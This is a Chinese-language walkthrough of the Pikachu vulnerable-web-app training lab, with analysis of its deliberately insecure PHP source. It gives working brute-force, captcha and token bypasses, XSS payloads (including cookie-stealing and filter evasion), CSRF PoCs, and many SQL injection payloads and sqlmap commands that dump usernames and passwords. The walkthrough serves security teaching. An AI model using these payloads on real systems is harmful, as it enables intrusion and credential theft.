Pikachu靶场详细版(带源码分析)
Pikachu靶场详细版(源码分析)
本地搭建
[!NOTE]
这里只大概描述一下本地搭建靶场的过程
1、github上面下载 pikachu
2、将其放置在 phpstudy 的WWW目录中,打开 inc/config.inc.php 文件,数据库密码原本是空的,填入 phpstudy 的数据库密码
3、套件开 Apache 和 MySQL
4、phpstudy 点击“网站”,按照图中配置

5、打开 http://127.0.0.1/install.php 点击“安装/初始化”,Over~

暴力破解

1、基于表单的暴力破解

先随便填一个账号密码,用 burpsuite 抓个包

Send to Repeater,然后点击 Send,这里猜的账号密码:admin/123465,直接通过了

这一关的源代码(关键部分)
// 确保 submit 按钮已被点击,并且 username 和 password 字段非空
if(isset($_POST['submit']) && $_POST['username'] && $_POST['password']){
// 直接从 $_POST 变量中获取 username 和 password
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "select * from users where username=? and password=md5(?)";
$line_pre = $link->prepare($sql);
// bind_param('ss', $username, $password) 绑定 username 和 password 参数,防止 SQL 注入
$line_pre->bind_param('ss',$username,$password);
// 如果找到匹配的用户,则登录成功,否则返回失败消息
if($line_pre->execute()){
$line_pre->store_result();
if($line_pre->num_rows>0){
$html.= '<p> login success</p>';
} else{
$html.= '<p> username or password is not exists~</p>';
}
} else{
// 执行失败时,显示错误信息
$html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>';
}
}
2、验证码绕过(on server)

同样抓包,send to Repeater,把username或者password的值修改多次,Response都会显示“username or password is not exists~”
这说明验证码不变的情况下,也一直通过了(不通过的情况下会显示“验证码输入错误哦!”)
也就是说,验证码机制是放置在服务器上的,只要一直不放包,那么服务器就一直接收不到验证码,也就不会更新

直接爆破,send to Intruder -> Start attack


爆破出账号密码
分析这一关源码(关键部分:服务端没有做验证码判断,导致一次抓包request但不response的验证码会一直有效)
if(isset($_POST['submit'])) {
if (empty($_POST['username'])) {
$html .= "<p class='notice'>用户名不能为空</p>";
} else {
if (empty($_POST['password'])) {
$html .= "<p class='notice'>密码不能为空</p>";
} else {
if (empty($_POST['vcode'])) {
$html .= "<p class='notice'>验证码不能为空哦!</p>";
} else {
// 验证验证码是否正确
if (strtolower($_POST['vcode']) != strtolower($_SESSION['vcode'])) {
$html .= "<p class='notice'>验证码输入错误哦!</p>";
//应该在验证完成后,销毁该$_SESSION['vcode']
}else{
// 接收 username、password、vcode
$username = $_POST['username'];
$password = $_POST['password'];
$vcode = $_POST['vcode'];
// 构造sql语句
$sql = "select * from users where username=? and password=md5(?)";
$line_pre = $link->prepare($sql);
$line_pre->bind_param('ss',$username,$password);
if($line_pre->execute()){
$line_pre->store_result();
//虽然前面做了为空判断,但最后,却没有验证验证码!!!
if($line_pre->num_rows()==1){
$html.='<p> login success</p>';
}else{
$html.= '<p> username or password is not exists~</p>';
}
}else{
$html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>';
}
}
}
}
}
}
3、验证码绕过(on client)

同样,先随便输入账号密码:admin/admin 和 验证码,抓包,Send to Repeater,Send 查看 Response 返回包,直接拉到最底下
可以看到,这里有个验证码验证的JS,逻辑是,如果验证码对了就返回,如果验证码错了,刷新验证码再返回
那就猜测还是可以固定验证码去爆破用户名和密码

继续往上看,看到“username or password is not exists~”

修改一下 username 或者 password 的值,再次 Send。
发现还是同样提示,没有“验证码错误”之类的提示,那就证明还可以进行同样方法的爆破。

将 request 包 Send to Intruder,设置好 payloads,Start attrack

爆破成功

源码分析(关键部分):
// 前端登陆验证代码
if(isset($_POST['submit'])){
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "select * from users where username=? and password=md5(?)";
$line_pre = $link->prepare($sql);
$line_pre->bind_param('ss', $username, $password);
if ($line_pre->execute()) {
$line_pre->store_result();
if ($line_pre->num_rows > 0) {
$html .= '<p> login success</p>';
} else {
$html .= '<p> username or password is not exists~</p>';
}
} else {
$html .= '<p>执行错误:' . $line_pre->errno . '错误信息:' . $line_pre->error . '</p>';
}
}else{
$html .= '<p> please input username and password~</p>';
}
}
// JS代码:验证码验证
<script language="javascript" type="text/javascript">
var code; //在全局 定义验证码
function createCode() {
code = "";
var codeLength = 5;//验证码的长度
var checkCode = document.getElementById("checkCode");
var selectChar = new Array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9,'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');//所有候选组成验证码的字符,当然也可以用中文的
for (var i = 0; i < codeLength; i++) {
var charIndex = Math.floor(Math.random() * 36);
code += selectChar[charIndex];
}
//alert(code);
if (checkCode) {
checkCode.className = "code";
checkCode.value = code;
}
}
function validate() {
var inputCode = document.querySelector('#bf_client .vcode').value;
if (inputCode.length <= 0) {
alert("请输入验证码!");
return false;
} else if (inputCode != code) {
alert("验证码输入错误!");
createCode();//刷新验证码
return false;
}
else {
return true;
}
}
createCode();
</script>
4、token防爆破?

同样抓包,可以看到 post 数据多了一个 token 值
先 Send to Repeater ,Send 一次,显示报错“username or password is not exists~”

再次 Send,显示报错“csrf token error”,说明这里验证方法是用了一次性的 token。

这里发现就在“csrf token error”上方有个
<input type="hidden" name="token" value="7113067d43455aefcf590819092" />
在页面中查看源代码,这一行也是隐藏的。所以猜测应该是前端生成的token值,在 post 数据时会变成参数发送request包,然后response返回页面由于验证过了,就刷新页面,产生了新的token值,那么我们就需要使用这个新的token值,进行下一次验证
OK,重新抓包,验证思路


这俩值一样,证明思路正确,Send to Intruder,这里攻击方式要选择“Pitchfork attack”
[!NOTE]
Pitchfork attack(干草叉),pitchfork 对每个标记字段单独设置字典,按照一一对应的关系取最少的组合。
那么我们这里重新抓个包,设置三个payloads

前两个 username 和 password 就正常设置字典,token 需要在 Grep - Extract 里面 Add,点击 refetch response,获取返回包里面的token值,将其选中

然后去 payloads 选择 recursive grep 的 payload type,将之前选中的 token 值复制到 initial payload for first request 里面
这些步骤就是将下一个response包的token值变成本次post的token值,实现递归payload

点击 Start attack

可以看到 login success
源码分析(登录验证部分和表单那一关都差不多,只是post的时候多了一个token)
<form id="bf_client" method="post" action="bf_token.php" ">
<!-- <fieldset>-->
<label>
<span>
<input type="text" name="username" placeholder="Username" />
<i class="ace-icon fa fa-user"></i>
</span>
</label>
</br>
<label>
<span>
<input type="password" name="password" placeholder="Password" />
<i class="ace-icon fa fa-lock"></i>
</span>
</label>
</br>
// 这部分是关键,value值直接取session['token']了,也使我们能实现递归数据包弱口令爆破的契机
<input type="hidden" name="token" value="<?php echo $_SESSION['token'];?>" />
<label><input class="submit" name="submit" type="submit" value="Login" /></label>
</form>
Cross-Site Scripting
[!NOTE]
这一章有些是没有后端源码分析,因为大部分代码都能从前端看到,有些过滤恶意代码的源码还是会简短的描述一下,我相信根据攻击逻辑也能猜的出来为什么会出现这样的漏洞

1、反射型xss(get)

输入 1,点击 submit
页面出现“who is 1, i don't care”
输入1页面就输出1,说明你输出什么,页面就显示什么了,那就存在反射性xss的可能性
查看页面代码,输入框部分对长度有限制,先将 maxlength 属性值修改为 40 吧(更长都可以)

随后输入 payload:<script>alert(1)</script>,出现弹窗

如果输入 <script>alert(document.cookie)</script>,也会弹出来

主要目的就是弹出敏感信息了
源码分析
$html='';
if(isset($_GET['submit'])){
// 这里没有做任何过滤,只要不为空就能输出
if(empty($_GET['message'])){
$html.="<p class='notice'>输入'kobe'试试-_-</p>";
}else{
if($_GET['message']=='kobe'){
$html.="<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
}else{
$html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";
}
}
}
2、反射性xss(post)

先使用账号密码 admin/123456,登陆进去(别疑惑为什么会有密码,可以当作进入系统之后的攻击)
登陆成功后,直接输入payload:<script>alert(document.cookie)</script>

弹出cookie中包含的admin用户的敏感信息

这一关就不做源码分析了,一是跟上一关差不多,二是没有过滤
3、存储型xss

先尝试随便输入两次,都保存在数据库中了,刷新页面也没消失
输入payload:<script>alert(document.cookie)</script>之后,每进入该页面就会弹窗触发payload


这就是存储型xss,将payload写进数据库,一旦有用户访问进你写xss的页面,就会触发payload
4、DOM型xss

输入 111,弹出“what do you see?”,点击
直接跳转到 http://192.168.1.5/pikachu/vul/xss/111 页面了

查看这里代码

<a href="1111">what do you see?</a>
也就是说我们输入的 1111值,写进了 href 属性
那就可以输入payload:javascript:alert(1)
弹出

还可以输入\#' onmouseover=alert(1)>:,使href先闭合,然后给这个标签里面添加一个 onmousever 属性为 alert(1)的函数,实现鼠标超时弹窗

5、DOM型xss-x

先随便输入1234,弹出一句话”有些费尽心机想要忘记的事情,后来真的就忘掉了“,点击后,又弹出一句话”就让往事都随风,都随风吧“,而弹出第二局就是我们将 1234 值写入了 href 属性里
<a href="1234">就让往事都随风,都随风吧</a>
还是跟上一关一样写入payload:javascript:alert(1)

同样的,其他payload也适用
6、xss之盲打

随便输入进去,然后显示”谢谢参与,阁下的看法我们已经收到!“
根据这句话,猜测应该是我们写的东西发送给客服或者后台了吧
查看提示

进入后台:http://192.168.1.5/pikachu/vul/xss/xssblind/admin_login.php,看提示账号密码是 admin/123456(还是那句话,别纠结为什么直接给了账号密码)
果然,登陆进去之后,显示了我们写的东西

那就是这个后台反馈意见的页面有存储型xss了
那我们在之前的框里输入payload:<script>alert(1)</script>

返回后台页面

7、xss之过滤

虽然我觉得人生苦短,但是还是输入123...
看到这里还是直接页面就回显输入值了,输入payload
但是没有成功,只显示了一个 >

说明过滤了恶意代码
这里有很多方法可以反过滤:
大小写混淆过滤,<scRipt>alert(1)</sCript>
使用注释进行干扰: <sc<!--test--> ript> alert(1)</scr <--test--> ipt>
重写: <scri<script> pt> alert(1)</scri</script> pt>
使用img标签<img src=xss onerror="alert(1)">

源码分析(还有个小彩蛋,如果你输入yes,看到的信息不一样)
$html = '';
if(isset($_GET['submit']) && $_GET['message'] != null){
//这里会使用正则对<script进行替换为空,也就是过滤掉
$message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);
// $message=str_ireplace('<script>',$_GET['message']);
if($message == 'yes'){
$html.="<p>那就去人民广场一个人坐一会儿吧!</p>";
}else{
$html.="<p>别说这些'{$message}'的话,不要怕,就是干!</p>";
}
}
8、xss之htmlspecialchars

输入的123456,在下方生成了一个链接
<a href="123456">123456</a>
直接输入payload:javascript:alert(1)

讲一下关键点:htmlspecialchars()函数把预定义的字符转换为HTML实体 &(和号)成为& "(双引号)成为" '(单引号)成为' <(小于)成为< ‘>’(大于)成为>
9、xss之href输出

输入百度的链接http://www.baidu.com
点击后,真打开百度了,也就是将输入的值传入href,实现该页面跳转到其他页面。这里再说一下,这种漏洞可以用来钓鱼,你自己写个钓鱼页面,让别人在这个网页点,跳转到你的钓鱼页面
还是输入payload:javascript:alert(1)

10、xss之js输出

随便输入,但是没有看到输入的值
源码里搜一下 fromjs 或者 123123
能看到是写入JS中了

那这里就不能直接alert了,先闭合再插入
payload:tmac'</script><script>alert('111')</script>

源码分析
这里的漏洞点在原 $ms 的值是一个用户可以控制的变量。
我们输入的payload值,先是将ms的 ' 闭合,再将 <script> 闭合,然后写进去一个新的JS脚本,脚本内容为 alert('111')
<script>
$ms='<?php echo $jsvar;?>';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
</script>
CSRF

1、CSRF(get)

根据提示,先输入账号密码登录

点击修改个人信息

submit 后,确实所有信息都修改了,但是我们的目的是找csrf,所以抓个修改的数据包

可以看到,修改数据是构造了一个 get 的 url
/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=111&phonenum=111&add=111&email=111&submit=submit
这时候我们登录另一个账号,比如 allen/123456

然后点击“修改个人信息”

可以看到这时的url是
http://192.168.1.5/pikachu/vul/csrf/csrfget/csrf_get_edit.php
将构造的那个url拼接上去,变成
http://192.168.1.5/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=111&phonenum=111&add=111&email=111&submit=submit
直接打开该url

这就是 csrf(get),构造一个恶意的url,让目标用户点击,实现恶意攻击
2、CSRF(post)

同样先登录,点击修改个人信息,填入数据,抓包

这里是post数据,那就不能直接构造url来实现恶意修改了,需要将这个post request包,生成一个网站
这里有两种方法:
- 第一种:直接使用 burpsuite 自带的poc,右键点击“Generate CSRF PoC”

修改表单里的数据,点击下方的“Test in browser”直接生成一个带又poc的页面


copy生成的url后,在网站里打开

点击“submit request”,直接跳转

- 第二种:使用工具“OWASP CSRFTester”,工具默认监听 127.0.0.1:8008,所以我们要把浏览器proxy setting设置为同一个端口,然后捕获修改表单数据包,点击“Generate HTML”,在生成的html里面修改自己想要提交的表单数据(有一个要修改为),同样访问这个html,点击submit,触发恶意代码

3、CSRF Token

登录账号,点击修改个人信息,抓包提交数据
可以看到这里request包的GET url里面参数多了一个 token
打开 /pikachu/vul/csrf/csrftoken/token_get_edit.php 源码
// 判断是否登录,没有登录不能访问
if(!check_csrf_login($link)){
// echo "<script>alert('登录后才能进入会员中心哦')</script>";
header("location:token_get_login.php");
}
$html1='';
if(isset($_GET['submit'])){
if($_GET['sex']!=null && $_GET['phonenum']!=null && $_GET['add']!=null && $_GET['email']!=null && $_GET['token']==$_SESSION['token']){
//转义
$getdata=escape($link, $_GET);
$query="update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['csrf']['username']}'";
$result=execute($link, $query);
//没有修改,点击提交,也算修改成功
if(mysqli_affected_rows($link)==1 || mysqli_affected_rows($link)==0){
header("location:token_get.php");
}else {
$html1.="<p>修改失败,请重新登录</p>";
}
}
}
//生成token
set_token();
?>
可以看到每次页面刷新都会触发 ser_token(),生成一个随机一次性token,实现防止其他用户构造恶意代码
SQL-inject

1、数字型注入(post)

先做分析:选个“1”查询,显示 “vince”的email是“111”(这里是因为我们之前做CSRF的时候将vince用户的数据更改了),随便选个数字,点查询,抓个包。可以猜测 post 参数 id 是注入点了

探测注入点是否真实,添加payload:and 1=2,显示“您输入的user id不存在,请重新输入!”,确认注入点!

又或者直接在id=4后面加一个引号,显示报错,也能确认注入点

手动爆库
爆数据库名,UNION SELECT database(),1--

由这个payload构造出sql语句:
select username,email from member where id=4 UNION SELECT database(),1--
UNION关键字用于合并两个 SQL 语句的结果。SELECT database(),2试图返回当前数据库的名称:2只是一个占位符,使UNION SELECT语句的列数与原始查询匹配。--是 SQL 注释,用于忽略后面的 SQL 代码,避免语法错误。
爆所有数据表名:UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema=database()--

爆member表中所有列名:UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema=database()--

INFORMATION_SCHEMA是一个系统数据库,它包含了数据库结构的信息,比如:
- 有哪些数据库 (
schemata)- 有哪些表 (
tables)- 有哪些列 (
columns)- 表的索引 (
statistics)- 存储过程 (
routines) 等
爆users表中所有账号密码:UNION SELECT username,password FROM users--

关键源码分析:可以看到\(query参数构造的sql查询语句是有一个变量\)id,而且没有过滤,这就给了sql注入的机会
if(isset($_POST['submit']) && $_POST['id']!=null){
//这里没有做任何处理,直接拼到select里面去了,形成Sql注入
$id=$_POST['id'];
// 比如我们测试的时候,其实sql语句就是:select username,email from member where id=4 AND 1=2,这样判断语句就跳到了else的结果中,显示id不存在
$query="select username,email from member where id=$id";
$result=execute($link, $query);
//这里如果用==1,会严格一点
if(mysqli_num_rows($result)>=1){
while($data=mysqli_fetch_assoc($result)){
$username=$data['username'];
$email=$data['email'];
$html.="<p class='notice'>hello,{$username} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的user id不存在,请重新输入!</p>";
}
}
使用sqlmap(这里使用一次sqlmap神器,后面就不再使用了,主要是为了锻炼手动sql注入能力)
将数据包放入request.txt文件中,执行python sqlmap.py -r request.txt

python sqlmap.py -r request.txt --current-user

python sqlmap.py -r request.txt --dbs

python sqlmap.py -r request.txt -D pikachu --tables

python sqlmap.py -r request.txt -D pikachu -T users --columns

python sqlmap.py -r request.txt -D pikachu -T users -C username,passwrod --dump

枚举:
-a, --all 获取所有信息、数据
--current-user 获取 DBMS 当前用户
--current-db 获取 DBMS 当前数据库
--hostname 获取 DBMS 服务器的主机名
--is-dba 探测 DBMS 当前用户是否为 DBA(数据库管理员)
--users 枚举出 DBMS 所有用户
--passwords 枚举出 DBMS 所有用户的密码哈希
--privileges 枚举出 DBMS 所有用户特权级
--roles 枚举出 DBMS 所有用户角色
--dbs 枚举出 DBMS 所有数据库
--tables 枚举出 DBMS 数据库中的所有表
--columns 枚举出 DBMS 表中的所有列
-D DB 指定要枚举的 DBMS 数据库
-T TBL 指定要枚举的 DBMS 数据表
-C COL 指定要枚举的 DBMS 数据列
-X EXCLUDE 指定不枚举的 DBMS 标识符
-U USER 指定枚举的 DBMS 用户
--dump 导出 DBMS 数据库表项
2、字符型注入(get)

先做分析:查看request请求包中,分析GET 请求的url里面的参数,判断name的值为注入点,输入 1',response Render报错,确定存在注入点

获取数据库名:' UNION SELECT database(), 2# ,同时对name参数进行URL编码

获取所有表名:' UNION SELECT group_concat(table_name), NULL FROM information_schema.tables WHERE table_schema=database()#

获取users表的列:' UNION SELECT group_concat(column_name), NULL FROM information_schema.columns WHERE table_name='users'#

获取 username 和 password 值:' UNION SELECT username, password FROM users#

关键源码分析:这一关跟上一关是同样的原理
if(isset($_GET['submit']) && $_GET['name']!=null){
//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];
//这里的变量是字符型,需要考虑闭合
// 例如我们输入payload:' OR '1'='1,sql语句拼接起来就是:SELECT id, email FROM member WHERE username='' OR '1'='1'。
$query="select id,email from member where username='$name'";
$result=execute($link, $query);
if(mysqli_num_rows($result)>=1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}
}
SELECT id, email FROM member WHERE username='' UNION SELECT database(), 2--
3、搜索型注入

先做分析:输入a,出现所有包含a的内容,说明是模糊查询。php的模糊查询语句一般就是"SELECT * FROM table WHERE column LIKE '%" . $q . "%'",所以我们要想方法做闭合,先输入%"闭合前面的sql语句,然后再插入恶意语句,最后加#或者--将后面的语句注释掉
获取所有用户数据:%' OR '1'='1
%%匹配所有用户名。'1'='1'始终为真,返回数据库中的所有用户数据。

获取数据库名:%' UNION SELECT database(),2,3#

获取users表的所有列名:%' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='users'#

获取所有用户名和密码:%' UNION SELECT username,password,3 FROM users#

关键源码分析
if(isset($_GET['submit']) && $_GET['name']!=null){
//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];
//这里的变量是模糊匹配,需要考虑闭合
$query="select username,id,email from member where username like '%$name%'";
$result=execute($link, $query);
if(mysqli_num_rows($result)>=1){
//彩蛋:这里还有个xss
$html2.="<p class='notice'>用户名中含有{$_GET['name']}的结果如下:<br />";
while($data=mysqli_fetch_assoc($result)){
$uname=$data['username'];
$id=$data['id'];
$email=$data['email'];
$html1.="<p class='notice'>username:{$uname}<br />uid:{$id} <br />email is: {$email}</p>";
}
}else{
$html1.="<p class='notice'>0o。..没有搜索到你输入的信息!</p>";
}
}
4、xx型注入

分析:这里不知道是什么类型的注入了,先用'或者“或者%'测试
发现输入123'后,网页报错,说明sql语句结构中存在单引号,并且根据报错信息(这里讲述一下为什么要前面多个123,主要是为了让报错信息看起来更加直观方便后面闭合sql语句,如果只输入',就会导致报错全是引号,难以分辨):
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''123'')' at line 1
判断sql语句中是有一个)需要闭合的,尝试123'),又出现报错信息:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '')' at line 1
可以判断是闭合后,sql语句后面多出来的这个)导致sql报错了,那我们可以直接加个#将后面的内容注释掉
组成payload:123')#,输入进去会发现网页又不报错了,证明可以在#前面添加恶意代码了
探测原查询返回的列数:123') order by 3#,当 order by 3 的时候报错,order by 2 的时候不报错,说明查询返回的值应该有两个。

探测数据库:123') union select database(),2#

获取users表的所有列名:123')UNION SELECT column_name,2 FROM information_schema.columns WHERE table_name='users'#

获取users中的username和password:123') UNION SELECT username,password from users#

源码分析
if(isset($_GET['submit']) && $_GET['name']!=null){
//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];
//这里的变量是字符型,需要考虑闭合,结合前面的payload闭合sql语句就是就是:select id,email from member where username=('123')#')
$query="select id,email from member where username=('$name')";
$result=execute($link, $query);
if(mysqli_num_rows($result)>=1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}
}
5、"insert/update"注入

先点击注册看看,随便注册一个账号,抓个包

注册成功会显示

分析,测试注入点:
首先,注册采用的逻辑是数据库插入,所以咱们先去猜想sql语句大概率是什么
insert into member(username, password, sex, phonenum, email, add) values('hunter', 'hunter123', '111', 111, '111', '111')
然后再思考一点,这个页面数据插入之后,网页不会回显任何数据,只会显示一个“注册成功”,那么我们就要想办法让他能回显数据
[!NOTE]
sql语法中,updatexml()常用于报错注入
- 基于insert下的报错:
hunter' or updatexml(1, concat(0x7e, database()), 0) or '
- 基于delete下的报错:
1 or updatexml(1, concat(0x7e, database()), 0)
CONCAT(0x7e, DATABASE())
0x7e是~符号,作用是分隔符。DATABASE()返回当前数据库名称(你的数据库名是pikachu)。
UPDATEXML(1, '某个字符串', 0)
- 试图对 XML 进行 XPath 解析,但
DATABASE()返回的数据库名不是 XML 格式,因此会触发 XPATH syntax error。也可以使用 extractvalue() 替代 updatexml()...
接下来构造闭合:
username的值改为',网页会出现报错,这个报错显示的是咱们后面post的参数

探测数据库名:hunter' or updatexml(1, concat(0x7e, database()), 0) or '(这里两个单引号是为了闭合前后两个单引号)

获取数据库中的表名:' or updatexml(1, concat(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema='pikachu' LIMIT 0,1)), 0) or '
后续修改payload的LIMIT
LIMIT 1,1 # 获取第二张表:member
LIMIT 2,1 # 获取第三张表:message
LIMIT 3,1 # 获取第四张表:users
LIMIT 4,1 # 获取第五张表:xssblind

获取member表的列名:' or updatexml(1, concat(0x7e, (SELECT column_name FROM information_schema.columns WHERE table_name='member' AND table_schema='pikachu' LIMIT 0,1)), 0) or '
同理可以以此获取所有列明:address、email、id、phonenum、pw、sex、username

获取users表的username、password:' or updatexml(1,concat(0x7e,(select group_concat(username,password)from users limit 0,1),0x7e),1) or '
同理修改LIMIT值可以依次获取到所有users的username、password

关键源码分析
if(isset($_POST['submit'])){
if($_POST['username']!=null &&$_POST['password']!=null){
// $getdata=escape($link, $_POST);//转义
//没转义,导致注入漏洞,操作类型为insert
$getdata=$_POST;
$query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){
$html.="<p>注册成功,请返回<a href='sqli_login.php'>登录</a></p>";
}else {
$html.="<p>注册失败,请检查下数据库是否还活着</p>";
}
}else{
$html.="<p>必填项不能为空哦</p>";
}
}
6、"delete"注入

看到这个留言板,其实可以尝试以下xss,xss失败...
回到sql注入正题...抓个删除的数据包,可以看到有个参数“id”

分析测试注入点:
先加个单引号',出现报错,证明存在sql注入!

由于删除成功也不会出现回显,所以还是要使用报错注入的方法
获取数据库名: or updatexml (1, concat(0x7e, database(), 0x7e), 1) #
注意:要对payload进行url加密

获取所有表名:or updatexml (1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema='pikachu'), 0x7e), 1) #

获取users表的所有列名:or updatexml (1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'), 0x7e), 1) #

**获取用户数据**:`or updatexml (1, concat(0x7e, (select group_concat(username, password) from users), 0x7e), 1) #`

关键源码分析
if(array_key_exists("message",$_POST) && $_POST['message']!=null){
//插入转义
$message=escape($link, $_POST['message']);
$query="insert into message(content,time) values('$message',now())";
$result=execute($link, $query);
if(mysqli_affected_rows($link)!=1){
$html.="<p>出现异常,提交失败!</p>";
}
}
// if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){
//没对传进来的id进行处理,导致DEL注入
if(array_key_exists('id', $_GET)){
$query="delete from message where id={$_GET['id']}";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){
header("location:sqli_del.php");
}else{
$html.="<p style='color: red'>删除失败,检查下数据库是不是挂了</p>";
}
}
7、"http header"注入
根据提示登录

分析:查看登录数据包(尝试注入直接就会显示登陆失败)

查看“点击退出”数据包,可以看到这个包里面的 User-Agent 和 Accept 值是页面中显示的值

尝试报错注入:' or updatexml(1, concat(0x7e, (select database()), 0x7e),1) or '

同理依次
获取表名:' or updatexml (1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema='pikachu'), 0x7e), 1) or '【这个会出现网页报错的情况,然后会发现需要删除User-Agent前面的内容】
获取列名:' or updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'), 0x7e), 1) or'
获取用户数据:' or updatexml(1, concat(0x7e, (select group_concat(username, password) from users), 0x7e), 1) or '
8、盲注(base on boolian)

分析:
输入想要查询的信息,但是服务器不会直接回显查询结果,而且无论输入任何值,都是统一的“您输入的username不存在,请重新输入!”,也就是说不显示错误信息
这里面我们先查询之前注册的用户hunter,输入:hunter,会显示uid和email
后面加个引号:hunter',又显示“您输入的username不存在,请重新输入!”
然后再加一个注释符hunter'#,又显示正常了,闭合就是单引号

判断数据库长度:hunter' and length(database())=7 #(这里是一直尝试,直到length=7的时候才正常输出,说明数据库长度为7)

判断数据库名:hunter' and substr(database(), 1, 1)='p'#(这里开始从数据库的第一个字母一直尝试,)

同理依次,hunter' and substr(database(), 2, 1)='i'#,hunter' and substr(database(), 3, 1)='k'#,枚举出来数据库为pikachu
然后使用group_concat猜表名...这里其实就建议使用sqlmap了,知道手动注入的原理就行
9、盲注(base on time)

分析:
这里我们无论输入什么查询都是,“i don't care who you are!”
那就只能时间盲注了
先尝试hunter and sleep(5)#,发现并没有等5秒
然后尝试hunter' and sleep(5)#,等5秒才出现结果,说明闭合是'同时可以进行时间盲注
判断数据库长度:hunter' and if(length(database())=7, sleep(5), 1)#
枚举数据库名:hunter' and if(substr(database(), 1, 1)='p', sleep(5), 1)#
依次慢慢枚举出整个数据库名,数据表名等信息
10、宽字节注入
[!NOTE]
宽字节注入指的是mysql数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为',使得多数注入攻击无效,其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是'運',从而使单引号闭合(逃逸),进行注入攻击

分析:
输入hunter后正常出现用户信息

然后输入hunter'#,可以看到我们使用单引号去闭合,然后再去注释是没用的。甚至直接hunter#都不行


这说明不仅仅是过滤了,还有转义,所以可以尝试宽字节注入(另外宽字节注入常用%df,但是不仅仅局限一这一个符号)
当输入hunter'之后显示“您输入的username不存在,请重新输入!”
当输入hunter%df之后显示正常,说明%df(0xDF 在十六进制中)落在 GBK 编码允许的第二字节范围内,因而与前面的单引号结合后,形成了一个合法的双字节字符,而不会被当作字符串结束符解析。这就绕过了单引号的终结作用,使得 SQL 查询仍然是合法的,从而正常显示数据。

输入payload:hunter%df' union select version(),database()#
- hunter%df,这一部分中“hunter” 是原始的输入值。“%df” 是 URL 编码的一个字节,在 GBK 等多字节编码中,“%df” 可以作为双字节字符的第二个字节。如果跟在单引号前,它会与单引号拼接成一个合法的双字节字符,从而绕过对单引号的检测和过滤,避免字符串提前结束。
- ' union select version(),database()#。这里的单引号是为了闭合原本的字符串(在绕过单引号过滤后,原本的单引号没有被真正结束字符串)。union select version(),database():这部分是 UNION 注入,用来拼接另外一个 SELECT 查询,查询结果中 version() 返回数据库版本,database() 返回当前数据库名称。#是注释符

在多字节编码(比如 GBK)下,字符是以两个字节(或者更多字节)组合来表示的。这里的
%df就是 URL 编码形式的一个字节(十六进制 DF)。详细来说:
- 单字节与双字节编码
在 GBK 等编码中,一个合法的双字节字符通常由两个字节组成,第一个字节和第二个字节都有一定的取值范围。如果你直接输入单引号('),它会被视作字符串的结束符,这通常会导致 SQL 语句结构错误。而攻击者可以利用多字节编码的特性,把一个原本应作为结束符的单引号变成双字节字符的一部分。- %df 与后面的 ' 的组合
当你输入%df'时,浏览器会将%df解码成一个字节(0xDF)。在 GBK 编码中,如果前面有一个合法的前导字节,这个 0xDF 就会和那个前导字节组合形成一个合法的双字节字符。
- 举个例子:假设原输入中存在一个前导字节(可能是由其他字符提供),那么
%df'中的%df和后面的单引号'可能会组合成一个双字节字符,而不再被解释为单独的单引号。- 这样一来,本来会导致字符串提前结束的单引号,就被“隐藏”在了一个双字节字符里,从而绕过了过滤或验证机制。
- 实际效果
- 如果直接输入
hunter',单引号会结束原始的字符串,使得 SQL 语法错误出现,从而返回“用户名不存在”的提示。- 而输入
